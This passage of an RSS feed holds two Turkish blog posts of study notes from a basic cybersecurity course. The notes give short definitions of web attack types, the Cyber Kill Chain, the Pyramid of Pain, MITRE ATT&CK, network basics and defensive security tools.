gösterilen içeriklerin içerisine kötü niyetli komut dosyalarının yerleştirilmesiyle gerçekleşir.</p><p><em>Reflected (Yansıyan) XSS:</em> Zararlı kod, doğrudan kullanıcıya yansıtılır ve genellikle URL parametreleri veya formlar aracılığıyla iletilir.</p><p><em>DOM-Based XSS:</em> İstemci tarafında (tarayıcıda) çalıştırılan bir saldırı türüdür ve sayfa üzerindeki dinamik içeriklerle ilişkilidir.</p><p><strong>SSTI (Server-Side Template Injection) →</strong> Saldırgan şablon dosyasına zararlı kod enjekte ederek çalıştırır.</p><p><strong>Subdomain Takeover → </strong>DNS kayıtlarında hatalı yapılandırmalar nedeniyle kullanıcının bir alt alan adını ele geçirmesi mümkündür.</p><p><strong>Email Spoofing → </strong>Saldırgan, meşru bir kaynaktan gönderilmiş gibi görünen sahte e-postalar gönderir.</p><p><strong>XML External Entitiy (XXE) → </strong>XML işleme hatalarını kullanarak sunucuda zararlı dosyaları açma veya sistem bilgilerini sızdırma saldırısıdır.</p><p><strong>Cross-site Request Forgery (CSRF) → </strong>Kullanıcının isteği dışında bir işlem yapılmasına sebep olan bir saldırı türüdür.</p><p><strong>Clickjacking →</strong> Saldırgan, görünmez veya yanlış bir katman kullanarak kullanıcıyı aldatıp zararlı bir bağlantıya tıklatır.</p><h3>Cyber Kill Chain (***)</h3><ul><li>Siber saldırılarda kullanılan aşamaları tanımlayan bir modeldir. Bu adımlar, saldırının başlangıcından bitişine kadar olan süreçleri içerir:</li></ul><p><strong>1.Reconnaissance (Bilgi Toplama)</strong>: Hedef hakkında bilgi toplanır.</p><p><strong>2. Weaponization (Silahlandırma)</strong>: Saldırı yöntemi belirlenir ve gerekli araçlar hazırlanır.</p><p><strong>3. Delivery (İletim)</strong>: Zararlı yazılım hedef sisteme iletilir.</p><p><strong>4. Exploitation (Sömürme)</strong>: Zararlı yazılım çalıştırılarak hedef sistemde açıklar kullanılır.</p><p><strong>5. Installation (Kurulum)</strong>: Zararlı yazılım hedef sisteme kalıcı olarak yerleştirilir.</p><p><strong>6. Command and Control (Komuta ve Kontrol)</strong>: Saldırgan, hedef sistemi uzaktan kontrol etmeye başlar.</p><p><strong>7. Actions on Objectives (Eylemler)</strong>: Hedef sistemde veri çalma, değiştirme, silme gibi işlemler gerçekleştirilir.</p><h3>Pyramid of Pain</h3><ul><li>Cyber kill chain aşamalarının blue halidir.</li><li>bir siber saldırı sonrası saldırgana zorluk çıkarmanın seviyelerini temsil eder. Aşağıdan yukarıya doğru çıkan zorluk artar</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bcrHsmbug9fK6i5GrvQkBQ.png" /></figure><ol><li><strong>Hash Values (Hash Değerleri)</strong></li></ol><ul><li>En alt seviyedir.</li><li>Entagrasyonu yapılmış araçlarla MD5, SHA gibi şifrelenmiş verileri zararlı hakkında referans sağlanır.</li></ul><p><strong>2. IP Adresleri</strong></p><ul><li>Saldırganın VPN kullanmış olabilmesine özellikle dikkat edilir.</li><li>Ayrıca arka planda Threat Intellengece bir yapı kullanılması kolaylık ve daha fazla bilgi içerecektir.</li></ul><p><strong>3. Domain Name</strong></p><ul><li>Hedefe bağlı domainler, subdomainler taranır.</li><li>Hosting şirketi vs. bulunur.</li></ul><p><strong>4. Network/Host Artifacts</strong></p><ul><li>Ağ trafiği ve sistem üzerindeki şüpheli aktiviteler izlenir.</li></ul><p><strong>5. Tools</strong></p><ul><li>Saldırgan tarafın, amacına ve hedefine yönelik kullandığı yazılımlar bulunması amaclanır.</li><li>TTP (Teknik, Taktik, Prosedürler): Cyber Kill Chain metodolojisi, MITRE ATT&amp;CK</li></ul><p><strong>MITRE ATT&amp;CK</strong></p><ul><li>Siber saldırganların çeşitli aşamalarda kullandıkları taktik ve teknikleri kategorize eden bir bilgi tabanıdır.</li><li>Gerçek dünyadaki saldırı senaryolarına dayalıdır ve savunma stratejileri oluşturmak için kullanılır.</li><li>Taktikler, teknikler ve prosedürler (TTP’ler) saldırı aşamalarında nasıl kullanılacağını anlamak için önemli bir kaynaktır.</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c7f2dad4e4b9" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[BTK Akademi Kursu Notlarım — Temel Seviye Siber Güvenlik Eğitimi 1. Hafta]]></title>
            <link>https://medium.com/@yilmazogluaycan/btk-akademi-kursu-notlar%C4%B1m-temel-seviye-siber-g%C3%BCvenlik-e%C4%9Fitimi-1-hafta-45b4c9225932?source=rss-b241a550342c------2</link>
            <guid isPermaLink="false">https://medium.com/p/45b4c9225932</guid>
            <dc:creator><![CDATA[Aycan Yılmazoğlu]]></dc:creator>
            <pubDate>Sat, 05 Oct 2024 20:56:40 GMT</pubDate>
            <atom:updated>2024-10-05T20:56:40.400Z</atom:updated>
            <content:encoded><![CDATA[<h3>BTK Akademi Kursu Notlarım — Temel Seviye Siber Güvenlik Eğitimi 1. Hafta</h3><p>Bu yazımda sizlerle BTK Akademi tarafından aldığım temel siber güvenlik eğitiminin 1. haftasında öğrendiklerimi paylaşacağım.</p><ul><li><strong>İlk Virüs — Creeper (1971)</strong>: Bob Thomas tarafından yazılan Creeper, sistemler arasında hareket edebileceğini göstermek amacıyla oluşturulmuş deneysel bir programdı. Kendi kendini kopyalayabiliyordu, bu da onu bir tür virüs haline getirdi.</li><li><strong>İlk Antivirüs — Reaper</strong>: Creeper virüsünü silmek için geliştirilmiş bir programdır. Antivirüs yazılımlarının ilk örneği olarak kabul edilir.</li><li><strong>İlk Zararlı Virüs — Brain (1986)</strong>: Korsan yazılımı önlemek için tasarlanmış olan Brain virüsü, kontrolsüz büyüme ve diski yavaşlatma gibi sonuçlara yol açtı ve ilk yaygın zararlı yazılım olarak tarihe geçti.</li></ul><p><strong>NAT(Network Address Translation)</strong></p><ul><li>Özel IP adreslerini genel IP adreslerine dönüştüren bir teknolojidir.</li><li>Birden fazla cihazın aynı genel IP adresini kullanarak internete erişmesini sağlar. Bu, IP adresi tasarrufu sağlar ve güvenlik açısından bir katman oluşturur.</li></ul><p><strong>İç IP Adres Aralıkları </strong>→ Bir IP adresinin iç veya dış IP adresi olduğunu anlamak için bu aralıkları incelebiliriz.</p><p>*10.0.0.0–10.255.255.255*</p><p>*172.16.0.0–172.31.255.255*</p><p>*192.168.0.0 — .192.168.255.255*</p><p>Yine bu konu ile ilgili faydalı bir web sitesi önerisinde bulunacağım: AbuselPDB → IP adreslerini analiz etmenize ve olası tehditleri incelemenize yardımcı olur.</p><h3><strong>OSI Referans Modeli</strong></h3><p><strong>1.Fiziksel Katman</strong>: Hub, Repeater gibi cihazlar fiziksel bağlantıları yönetir.</p><p><strong>2. Veri Katmanı</strong>: Switch, Bridge (MAC adreslerine göre veri yönlendirme yapar).</p><p><strong>3. Ağ Katmanı</strong>: Routerlar IP adreslerine göre veri yönlendirir.</p><p><strong>4. Ulaşım Katmanı</strong>: TCP/UDP protokolleri verilerin güvenilir iletimini sağlar.</p><p><strong>5. Oturum Katmanı</strong>: İki cihaz arasındaki bağlantının yönetilmesini sağlar.</p><p><strong>6. Sunum Katmanı</strong>: Verilerin biçimlendirilmesi, şifreleme ve sıkıştırma işlemlerini yapar.</p><p><strong>7. Uygulama Katmanı</strong>: HTTP, FTP, SMTP gibi uygulama protokollerini yönetir.</p><h3>Güvenlik Cihazları ve Protokoller</h3><p><strong>Firewall</strong></p><ul><li>İç ve dış ağları ayırmak.</li><li>Ağ trafiğini filtrelemek.</li><li>Yetkisiz erişimleri engellemek.</li></ul><p><strong>WAF(Web Application Firewall)</strong></p><ul><li>OSI modelinin 7. katmanında yer alır.</li><li>HTTP/HTTPS trafiğini izleyerek web uygulamalarını korur.</li></ul><p><strong>Hub</strong></p><ul><li>Verileri ağdaki tüm cihazlara ileten ilkel bir ağ cihazıdır.</li></ul><p><strong>Switch</strong></p><ul><li>Akıllı hub</li><li>Verileri sadece doğru hedefe yönlendirir.</li><li>MAC adresi tablosu kullanırlar.</li></ul><p><strong>Router</strong></p><ul><li>Amacı ağ oluşturmaktır.</li><li>Her modem aynı zamanda bir routerdır, ancak her router bir modem değildir.</li></ul><p><strong>Bridge</strong></p><ul><li>İki veya daha fazla yerel ağı birbirine bağlar (LAN).</li><li>MAC adresi tablosu kullanırlar.</li></ul><h3>Saldırı Tespit ve Önleme Sistemleri</h3><p>IDS → Saldırı tespiti yapar.</p><ul><li>Anomali tabanlı</li><li>İmza tabanlı: Hızlı ve etkili tespit. Önceden tanımlanmış saldırı imzalarını kullanır.</li></ul><p>IPS →Yapılan saldırı tespitini dikkate alarak saldırıyı önler.</p><h3>Veri Koruma Çözümleri</h3><p><strong>DLP(Data Loss Prevention)</strong></p><ul><li>Hassas verilerin dışarı çıkmamasını sağlar.</li><li>Veri kaybı önleme</li><li>OCR (Optik Karakter Tanıma) teknolojisiyle görüntü işleme özelliği vardır.</li></ul><p><strong>EDR (Endpoint Detection and Response)</strong></p><ul><li>Uç nokta güvenliğini arttırmak için geliştirilmiş bir çözüm olup, tehditleri analiz eder.</li><li>Antivirüsün gelişmiş halidir.</li></ul><p><strong>SIEM(Security Information and Event Managment)</strong></p><ul><li>Temel güvenlik izleme</li><li>Gelişmiş tehdit algılama</li><li>Adli bilişim ve olay müdahalesi</li></ul><p><strong>SOAR (Security Orchestration, Automation, and Response)</strong></p><ul><li>SIEM gelişmiş halidir.</li><li>Yapay zeka ve otomasyon sistemleriyle saldırı tespitini hızlandırır.</li></ul><p><strong>MDR (Managed Detection and Response)</strong></p><ul><li>SOAR gelişmiş halidir.</li><li>“Gör yakala cevap ver”</li></ul><p><strong>XDR (Extended Detection and Response)</strong></p><ul><li>MDR gelişmiş halidir.</li><li>Tüm güvenlik katmanlarını kapsayarak daha geniş kapsamlı bir koruma sağlar.</li></ul><p>Yararlı bulduğum birkaç web sitesi:</p><ul><li><strong>VirusTotal</strong>: URL veya dosyanın tehdit olup olmadığını kullanıcı yorumlarıyla analiz eder.</li><li><strong>Browserling</strong>: Bir URL’yi güvenli bir şekilde görüntüleyip içerik hakkında bilgi edinmenizi sağlar.</li><li><strong>Urlscan.io</strong>: Web sitelerinin iç trafiğini izlemek için kullanılır.</li><li><strong>Any.run</strong>: Dosya veya URL’lerin tehdit olup olmadığını analiz eder.</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=45b4c9225932" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>